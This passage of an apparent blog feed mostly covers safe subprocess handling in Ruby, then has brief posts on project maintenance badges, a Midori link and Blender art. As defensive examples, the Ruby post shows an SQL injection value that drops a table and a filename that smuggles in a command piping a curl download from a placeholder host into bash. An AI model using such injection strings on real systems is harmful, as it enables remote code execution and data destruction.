  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.capture2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.capture2e&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.capture3&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.popen2&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.popen2e&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.popen3&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;… and that’s ignoring the more involved options, like pairing a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel#fork&lt;/code&gt; with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel#exec&lt;/code&gt;, as well as the many different &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.pipeline_*&lt;/code&gt; functions.&lt;/p&gt;

&lt;h1 id=&quot;what-are-we-doing-here&quot;&gt;What are we doing here?&lt;/h1&gt;

&lt;p&gt;Often enough, you want to run a system command (i.e. something you might normally run from a terminal) from your Ruby code. You might be running a command just for its side effects (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod&lt;/code&gt; a file), or you might want to use the output of the command in your code (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tar -tf&lt;/code&gt; to list the contents of a tarball). Most of the above functions will &lt;em&gt;work&lt;/em&gt;, but some of them are better than others.&lt;/p&gt;

&lt;!--more--&gt;

&lt;p&gt;In order to narrow this down, I’m going to make some assumptions:&lt;/p&gt;

&lt;p&gt;(&lt;em&gt;aside&lt;/em&gt;: there are pure-Ruby ways to perform the tasks in these examples which are likely to be more secure and simpler than invoking an external program written in C. But for clarity I’ve chosen simple examples over realistic ones)&lt;/p&gt;

&lt;h2 id=&quot;assumption-1-lets-not-get-hacked&quot;&gt;Assumption 1: let’s not get hacked&lt;/h2&gt;

&lt;p&gt;You’ve probably heard of SQL injection - if you build up a string like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;select * from users where name = &apos;#{username}&apos;&quot;&lt;/code&gt;, someone will eventually come along and submit a form where &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;username=&quot;&apos;; drop table users; --&apos;&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Whenever you include untrusted data as part of code, you’re likely to see similar issues. SQL is code, which is why we need to cleanly separate SQL &lt;em&gt;commands&lt;/em&gt; (trusted) from SQL &lt;em&gt;values&lt;/em&gt; (untrusted). This can be seen in ActiveRecord with examples like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User.find_by([&apos;name = ?&apos;, params[:username]])&lt;/code&gt;. This doesn’t just smush all the data together, but instead gives it to the SQL processor in a way that it can distinguish code from data.&lt;/p&gt;

&lt;p&gt;Of course, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; (or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bash&lt;/code&gt;) is a very powerful language - if you make similar errors when invoking subcommands, you can easily allow hackers to do all sorts of nasty things. Consider some code to figure out the dimensions of an uploaded image. One way to do that in ruby (with imagemagick installed) is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dimensions = `identify -format &apos;%w x %h&apos; #{filename}`
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This will probably work, until someone decides to upload an image named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;; curl pwnme.example.com | bash ;#.jpg&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Oh dear, I hope that domain doesn’t host a malicious script of some sort. And I really hope your account doesn’t have passwordless &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even if your application is only accessible to users you trust, this is still bad code. For example, it will fall over as soon as someone uses a filename with a space in it. Encoding data correctly isn’t just a matter of security - &lt;em&gt;insecure code usually turns out to be buggy as well!&lt;/em&gt; And “only trusted users can trigger this code” is one of those statements which can cause an avalanche of curse words months or years down the line when that silently (and then loudly) stops being true.&lt;/p&gt;

&lt;p&gt;The solution for running a command is simple: rather than providing a string to be executed by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt;, we give the command and its arguments directly as an array of strings. No splitting on spaces, no escaping quotes, no special characters whatsoever. So instead of:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;ls -l #{directory}&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We want to provide:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[&apos;ls&apos;, &apos;-l&apos;, directory]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As a bonus, this cuts out the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; interpreter altogether. This saves us the tedious work of applying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; escaping rules, running a mostly useless &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; process, and conveniently sidesteps exploits like the &lt;a href=&quot;https://en.wikipedia.org/wiki/Shellshock_(software_bug)&quot;&gt;shellshock bug&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;assumption-2-silent-errors-are-bad-errors&quot;&gt;Assumption 2: silent errors are bad errors&lt;/h1&gt;

&lt;p&gt;I have a vendetta against all forms of unhandled error. They pop up in a lot of places:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;sloppy C code (whenever you forget to check for errors explicitly)&lt;/li&gt;
  &lt;li&gt;a startling amount of bash scripting (unless you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;set -eo pipefail&lt;/code&gt; or meticulously check for failed commands with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$?&lt;/code&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_something(obj) rescue nil&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last one’s at least explicit about it, but it’s still a big hammer to swing - maybe you expect &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_something(obj)&lt;/code&gt; to fail with a certain error when &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;obj&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt;. But what if someone introduces some other bug into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;do_something&lt;/code&gt; which fails for a completely different reason? You’re much better off either checking for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nil&lt;/code&gt; up front, or rescuing only very specific exceptions.&lt;/p&gt;

&lt;p&gt;So if you want to run a shell command, you’d better be checking that the command actually returned with a successful exit status. If you think “this could never fail”, do it anyway. If you’re right, you’ve made sure of it and may proceed to feel smug. If you’re wrong, you might save yourself mild annoyance, hours of debugging, or catastrophic data loss. It’s a win-win.&lt;/p&gt;

&lt;h2 id=&quot;elimination-round&quot;&gt;Elimination round&lt;/h2&gt;

&lt;p&gt;OK, so firstly anything that uses a plain &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; string is out. That knocks off the two most convenient options:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;backticks&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%x[backticks in a funny hat]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The remaining functions accept either a string or an array, so you need to be diligent in making sure you give them an array.&lt;/p&gt;

&lt;p&gt;Now, which of these has the best error handing?&lt;/p&gt;

&lt;p&gt;Firstly, a lot of these don’t return a status directly. They set the global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$?&lt;/code&gt; object. This is mostly reliable, but kind of icky (it’s a &lt;em&gt;global&lt;/em&gt;!)&lt;/p&gt;

&lt;p&gt;On the plus side, it’s a thread-safe global - ruby plays some &lt;a href=&quot;http://stackoverflow.com/questions/2164887/thread-safe-external-process-in-ruby-plus-checking-exitstatus&quot;&gt;tricks&lt;/a&gt; to make sure it always refers to the last process &lt;em&gt;for this thread&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;But it’s still ugly, and while writing up some examples for this post I discovered a sneaky issue with it that I’d never encountered before: it doesn’t always mean what you think it means.&lt;/p&gt;

&lt;p&gt;Consider this code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;listing = IO.popen([&apos;ls&apos;, directory]).read
raise &quot;it failed!&quot; unless $?.exitstatus == 0
return listing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt; fails (perhaps &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;directory&lt;/code&gt; doesn’t exist), what happens? It looks like you’ll get an error, but it turns out that you might get an error &lt;em&gt;or&lt;/em&gt; return an empty string, depending on the result of some previous, unrelated command. This is because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$?&lt;/code&gt; &lt;em&gt;does not get set by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO.popen&lt;/code&gt;&lt;/em&gt; until you &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;close&lt;/code&gt; it. i.e. you would need to do:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;io = IO.popen([&apos;ls&apos;, directory])
listing = io.read
io.close
raise &quot;it failed!&quot; unless $?.exitstatus == 0
return listing
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Which is a subtle difference, and not exactly pretty code. If you pass a block to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO.popen&lt;/code&gt; you won’t have this issue because it’ll call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;close&lt;/code&gt; for you, but you’ll need to remember that subtlety.&lt;/p&gt;

&lt;p&gt;So although using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$?&lt;/code&gt; can be done correctly, it’s ugly and it introduces the possibility of sneaky bugs. I’d rather avoid it.&lt;/p&gt;

&lt;p&gt;What are we left with? Just &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3&lt;/code&gt;. This is the only option which:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;accepts an array of arguments, and&lt;/li&gt;
  &lt;li&gt;explicitly returns a status object, rather than using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$?&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One exception is when you just want to run a command, and don’t need to capture its output. For this you can use the humble &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel.system()&lt;/code&gt;, which takes an array and returns a boolean. So you’d use it like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;system([&apos;rm&apos;, &apos;-r&apos;, directory]) or raise &quot;Failed to remove #{directory}&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;tldr-common-ruby-subprocess-patterns&quot;&gt;tl;dr: Common Ruby subprocess patterns&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;a.k.a enough talk, just tell me what to use!&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;1-you-want-to-run-something-but-dont-need-its-output&quot;&gt;1: You want to run something, but don’t need its output&lt;/h3&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;system(&apos;rm&apos;, &apos;-r&apos;, directory) or raise &quot;Failed to remove #{directory}&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Protip&lt;/strong&gt;: if you want to run a command without arguments, you should actually use:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;system([&quot;ls&quot;, &quot;ls&quot;])
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;…because otherwise &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt; will take your single string to be a shell string.&lt;/p&gt;

&lt;h3 id=&quot;2-you-want-to-capture-stdout-as-a-string-and-inherit-stderr&quot;&gt;2: You want to capture stdout as a string (and inherit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stderr&lt;/code&gt;):&lt;/h3&gt;

&lt;p&gt;This is the most common case, in my experience.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;stdout, status = Open3.capture2(&apos;unzip&apos;, &apos;-l&apos;, zipfile)
raise &amp;lt;error&amp;gt; unless status.success?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;(you can also pass a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin_data: &amp;lt;string&amp;gt;&lt;/code&gt; option if you need to provide some input)&lt;/p&gt;

&lt;h2 id=&quot;3-you-want-to-capture-stdout-as-a-stream&quot;&gt;3: You want to capture stdout as a stream:&lt;/h2&gt;

&lt;p&gt;… because it might be huge, or you want to process each line as it arrives. This allows you to write to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; as a stream, too.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Open3.popen2(&apos;unzip&apos;, &apos;-l&apos;, zipfile) do |stdin, stdout, status_thread|
	stdout.each_line do |line|
		puts &quot;LINE: #{line}&quot;
	end
	raise &quot;Unzip failed&quot; unless status_thread.value.success?
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;4-you-need-to-inherit-stdin&quot;&gt;4: You need to inherit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;This is a tricky edge case to figure out from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;open3&lt;/code&gt; docs. Each of the functions in that module support the same options as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3#popen3&lt;/code&gt;. Which says that its options are passed through to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Process#spawn&lt;/code&gt;. Which has lots of options for controlling redirections and file descriptors. Unfortunately, the docs don’t mention one crucial point - whatever redirections you pass will be ignored, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;popen3&lt;/code&gt; always overrides the redirection options with its own pipes.&lt;/p&gt;

&lt;p&gt;So if you &lt;em&gt;do&lt;/em&gt; need to inherit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Kernel#system&lt;/code&gt; won’t do, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IO.popen&lt;/code&gt; may be your only choice. e.g. to inherit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdin&lt;/code&gt; and read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt; as a string:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# I don&apos;t know why you&apos;re piping a zip file into `stdin`,
# but I&apos;m not the judging type...
output = IO.popen([&apos;unzip&apos;, &apos;-l&apos;, &apos;-&apos;], in: :in) do |io|
	io.read
end
raise &quot;unzip failed&quot; unless $?.success?
puts output
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;bonus-round-avoiding-deadlocks&quot;&gt;Bonus round: avoiding deadlocks&lt;/h3&gt;

&lt;p&gt;There’s one more gotcha when it comes to dealing with subprocesses: deadlocks. This can be an issue when you want to process both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stderr&lt;/code&gt; of a child. If one of these pipes fill up their OS buffer with unconsumed output, the OS will block the process until somebody reads that buffered data. But if your parent process is busy waiting for the &lt;em&gt;other&lt;/em&gt; stream, you’ll get a deadlock. If you do decide to handle both streams yourself, you’ll need to use threads or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;select&lt;/code&gt; to read from whichever stream has data. But generally the best advice is to just to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;inherit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stderr&lt;/code&gt; or redirect it to a file&lt;/li&gt;
  &lt;li&gt;combine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stderr&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stdout&lt;/code&gt; via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open3.popen2e&lt;/code&gt; or something similar&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;epilogue-or-the-stdlib-sucks-lets-use-gems&quot;&gt;Epilogue, or “the stdlib sucks, let’s use gems”!&lt;/h2&gt;

&lt;p&gt;The stdlib does contain everything you need, but it also provides plenty of options to avoid - you need to know what you want and which modules can provide that. If you’re just doing this in one or two places, that’s probably fine.&lt;/p&gt;

&lt;p&gt;But if you do enough of this that you’re happy to venture outside the standard library, there are some nice looking libraries which may provide a more consistent solution. In particular &lt;a href=&quot;https://github.com/stripe/subprocess&quot;&gt;stripe’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess&lt;/code&gt; library&lt;/a&gt; is promising - I haven’t tried it myself, but it’s a direct port of python’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;subprocess&lt;/code&gt; module, which is one of the best modules I know of for doing this sort of thing. And stripe gets bonus points for explicitly disallowing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; syntax - you &lt;em&gt;must&lt;/em&gt; provide an array of arguments.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Software Maintenance and Author Intent</title>
			<link href="http://gfxmonk.net/2016/04/17/software-maintenance-and-author-intent.html"/>
			<updated>2016-04-17T00:00:00+10:00</updated>
			<id>http://gfxmonk.net/2016/04/17/software-maintenance-and-author-intent</id>
			<content type="html">
				
				&lt;p&gt;&lt;em&gt;or, “I’ve written a lot of software, and now I have regrets”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As time goes on, people write more software. Well, at least I do. And these days, it’s pretty easy to put &lt;a href=&quot;https://github.com/timbertson?tab=repositories&quot;&gt;up everything you’ve created&lt;/a&gt; on GitHub or somewhere similar.&lt;/p&gt;

&lt;p&gt;But of course, not all software is created equal. That &lt;a href=&quot;https://github.com/timbertson/repr.js&quot;&gt;100-line JS library&lt;/a&gt; I created in one day back in 2011 which has seen 3 commits since is probably not going to be as important to me as &lt;a href=&quot;https://github.com/timbertson/gup&quot;&gt;the primary build tool I use in my own projects&lt;/a&gt;, which has implementations in 2 languages, an extensive automated test suite, and which has steadily seen improvements and fixes over the past 2 years with more than 300 commits.&lt;/p&gt;

&lt;p&gt;And people usually realise this. Based on project activity, date of recent commits, total number of commits, amount of documentation etc, you can often get a good idea of how healthy a project is. But is that enough?&lt;/p&gt;

&lt;p&gt;I’ve had people report bugs in a project where my immediate thought has been “well, this is pretty old and I haven’t used it for years - I’m not surprised it doesn’t work”. Meanwhile I see comments about another project where someone will wonder whether it still works, since it hasn’t been updated in ages. To which my first thought is “of course it still works! It doesn’t &lt;em&gt;need&lt;/em&gt; updating because nothing’s wrong with it”.&lt;/p&gt;

&lt;p&gt;I’ll try and communicate this less bluntly, but clearly there’s information I (as the author) know that other’s can’t without asking me - from what others can see, the projects probably look just as healthy as each other.&lt;/p&gt;

&lt;h3 id=&quot;why-are-you-publishing-it-if-you-dont-care-about-it&quot;&gt;Why are you publishing it if you don’t care about it?&lt;/h3&gt;

&lt;p&gt;I don’t want to maintain all the software I’ve ever written. I’ve written plenty of software for platforms or tools I no longer use. I’ve written software to scratch an itch I no longer have, or which I just can’t be bothered keeping up to date with breaking API changes.&lt;/p&gt;

&lt;p&gt;I could just abruptly delete each project as I decide it’s not worth maintaining, but that’s both drastic and rude. Maybe it works fine, but I no longer use it. Maybe others still depend on it. Maybe someone else would like to step up and take it over, rather than see it die. Maybe it doesn’t work as-is, but people can learn from reading parts of the code that are still useful. I publish Open Source software because it might be useful to others - deleting it when &lt;em&gt;I&lt;/em&gt; no longer have a use for it doesn’t fit with that spirit at all.&lt;/p&gt;

&lt;h3 id=&quot;stillmaintained&quot;&gt;Stillmaintained&lt;/h3&gt;

&lt;p&gt;A while ago, there was this project called “stillmaintained”. It aimed to address the issue of communicating project health directly, by answering the simple question “Is this still maintained?”. Ironically (but perhaps inevitably), &lt;a href=&quot;https://github.com/stillmaintained/stillmaintained/issues/59&quot;&gt;stillmaintained itself is no longer maintained&lt;/a&gt;, and even the domain registration has lapsed. But I think the problem is an important one.&lt;/p&gt;

&lt;h3 id=&quot;my-solution&quot;&gt;My solution&lt;/h3&gt;

&lt;p&gt;I think the constraints are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;It must be &lt;em&gt;dirt easy&lt;/em&gt; for the author to manage. If it takes too much effort to update a project’s status, I’ll be too lazy to do it.&lt;/li&gt;
  &lt;li&gt;The infrastructure itself must be &lt;em&gt;super low maintenance&lt;/em&gt;. I don’t want to spend all my time maintaining the thing that tells you if my projects are maintainted!&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So to solve the issue for my projects, I did the simplest dumbest thing:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I created a few static images with Inkscape.&lt;/li&gt;
  &lt;li&gt;In a folder that gets synced to this website, I made a bunch of files named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;projectname&amp;gt;.png&lt;/code&gt;, each of which is a symlink to a status (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../maintained.png&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../abandoned.png&lt;/code&gt;, etc).&lt;/li&gt;
  &lt;li&gt;I embed that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;projectname&amp;gt;.png&lt;/code&gt; into the project’s README, documentation, etc.&lt;/li&gt;
  &lt;li&gt;When I decide that a project’s status has changed, I modify the appropriate symlink.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Now the status for all my projects is managed in one directory, and I can generate a &lt;a href=&quot;/dist/status/&quot;&gt;list of active projects&lt;/a&gt; with a simple python script. I don’t need to go and edit that project’s README, docs and packaging metadata - it all just points to the same place.&lt;/p&gt;

&lt;p&gt;Here’s an example badge, for abandoned projects:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/dist/status/abandoned.png&quot; style=&quot;background:none; border:none;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It’s not fancy. There are no RSS feeds or email notifications when the project status changes. Showing an image containing text is not very accessible, nor very flexible. But it’s the easiest way for me to tell visitors to my projects what &lt;em&gt;my&lt;/em&gt; assessment of that project’s health is, which is something I’ve never had the ability to do very well before. And since it’s so low maintenance, I’m hopeful that I’ll actually keep these up to date in the future.&lt;/p&gt;

&lt;p&gt;In open source software, the author is under no obligation to maintain or fix anything - it’s there, take it or leave it. That doesn’t tell the full story. I &lt;em&gt;want&lt;/em&gt; people to use my code, so just ignoring users and possible contributors because I have no obligation to them is a great way to get a reputation as a terrible project maintainer. At the same time, there’s no way I can fully maintain &lt;em&gt;all the software I’ve ever written&lt;/em&gt;, especially as time goes on and that set gets larger. So the best I can do is to try and honestly communicate my intent as part of each project’s public documentation.&lt;/p&gt;

				
			</content>
		</entry>
	
		<entry>
			<title>Midori Blog: The Error Model</title>
			<link href="http://gfxmonk.net/2016/02/19/midori-blog-the-error-model.html"/>
			<updated>2016-02-19T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2016/02/19/midori-blog-the-error-model</id>
			<content type="html">
				
				&lt;p&gt;For the past few months, Joe Duffy has been blogging about the most interesting aspects of the design and implementation of &lt;a href=&quot;https://en.wikipedia.org/wiki/Midori_%28operating_system%29&quot;&gt;Midori&lt;/a&gt;, a now-abandoned research OS from Microsoft Research, which has been incredibly interesting to follow. I particularly enjoyed the latest article about &lt;a href=&quot;http://joeduffyblog.com/2016/02/07/the-error-model/&quot;&gt;the error model&lt;/a&gt;, but &lt;a href=&quot;http://joeduffyblog.com/2015/11/03/blogging-about-midori/&quot;&gt;the whole series&lt;/a&gt; is worth a read (and a subscribe, since there are more on the way).&lt;/p&gt;

				
					
					&lt;p&gt;&lt;a href=&quot;http://joeduffyblog.com/2016/02/07/the-error-model/&quot;&gt;(view link)&lt;/a&gt;&lt;/p&gt;
				
			</content>
		</entry>
	
		<entry>
			<title>Low-Poly Wren</title>
			<link href="http://gfxmonk.net/2016/02/06/low-poly-wren.html"/>
			<updated>2016-02-06T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2016/02/06/low-poly-wren</id>
			<content type="html">
				
				&lt;p&gt;Well, it’s been a little while (something like 10 years) since I’ve done any 3d rendering. After seeing a bunch of inspirational things recently (particularly &lt;a href=&quot;https://www.youtube.com/watch?v=SkVqJ1SGeL0&quot;&gt;caminandes 3&lt;/a&gt; and browsing &lt;a href=&quot;https://twitter.com/fifsilva&quot;&gt;Fi Silva’s&lt;/a&gt; work), I thought I’d crack open &lt;a href=&quot;https://www.blender.org/&quot;&gt;Blender&lt;/a&gt; and have a go at some low-poly artwork.&lt;/p&gt;

&lt;p&gt;Of course, I pretty much had to make a blue wren:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/lowpoly-wren-2560x1600.png&quot;&gt;&lt;img src=&quot;/images/thumbs/lowpoly-wren-2560x1600.jpg&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(click for huge wallpaper size)&lt;/p&gt;

&lt;p&gt;In terms of picking up Blender after not touching 3D software for a decade, it was actually not too painful. Initially it was frustrating to know what I wanted to do but not remember how to achieve it, but there’s plenty of starter resources out there and after a few hours I was feeling relatively comfortable with the basics. An my faded muscle memory probably worked in my favour, because last time I used Blender I had strong 3DS Max knowledge, making Blender feel weird and alien. But coming at it (relatively) fresh, it’s actually quite easy to get used to, and such an amazing piece of software.&lt;/p&gt;

&lt;p&gt;I’m particularly amazed in how straightforward certain highly complex things have become - e.g. the builtin cycles renderer does an excellent (and fast!) job of &lt;a href=&quot;https://en.wikipedia.org/wiki/Global_illumination&quot;&gt;Global Illumination&lt;/a&gt; - I remember pining over &lt;a href=&quot;https://www.solidangle.com/arnold/&quot;&gt;Arnold&lt;/a&gt; and other specialized renderers while scripting complex dome-light rigs to emulate GI with the standard 3DS Max renderer.&lt;/p&gt;

&lt;p&gt;Also physics: just for fun I’ve already made a bunch of “solid object turns into liquid and splats on the ground” animated gifs because it takes literally minutes to set this up and run the simulations in Blender. Last time I tried physics I don’t think I even had access to a liquid sim, the most exciting thing I could do was drape a square cloth over a sphere.&lt;/p&gt;

&lt;p&gt;Of course, none of that makes animation or modeling any easier, as those are not something the computer can really help much with. But it’s really encouraging to be able to light a scene and have a pretty result in next to no time, especially as lighting is really not my strong suit. And if I ever need a wren to suddenly dissolve into liquid, I’m all set for that too!&lt;/p&gt;


				
			</content>
		</entry>
	
		<entry>
			<title>Running gnome-shell nested in a Xephyr window</title>
			<link href="http://gfxmonk.net/2016/02/01/run-gnome-shell-nested-in-a-xephyr-window.html"/>
			<updated>2016-02-01T00:00:00+11:00</updated>
			<id>http://gfxmonk.net/2016/02/01/run-gnome-shell-nested-in-a-xephyr-window</id>
			<content type="html">
				
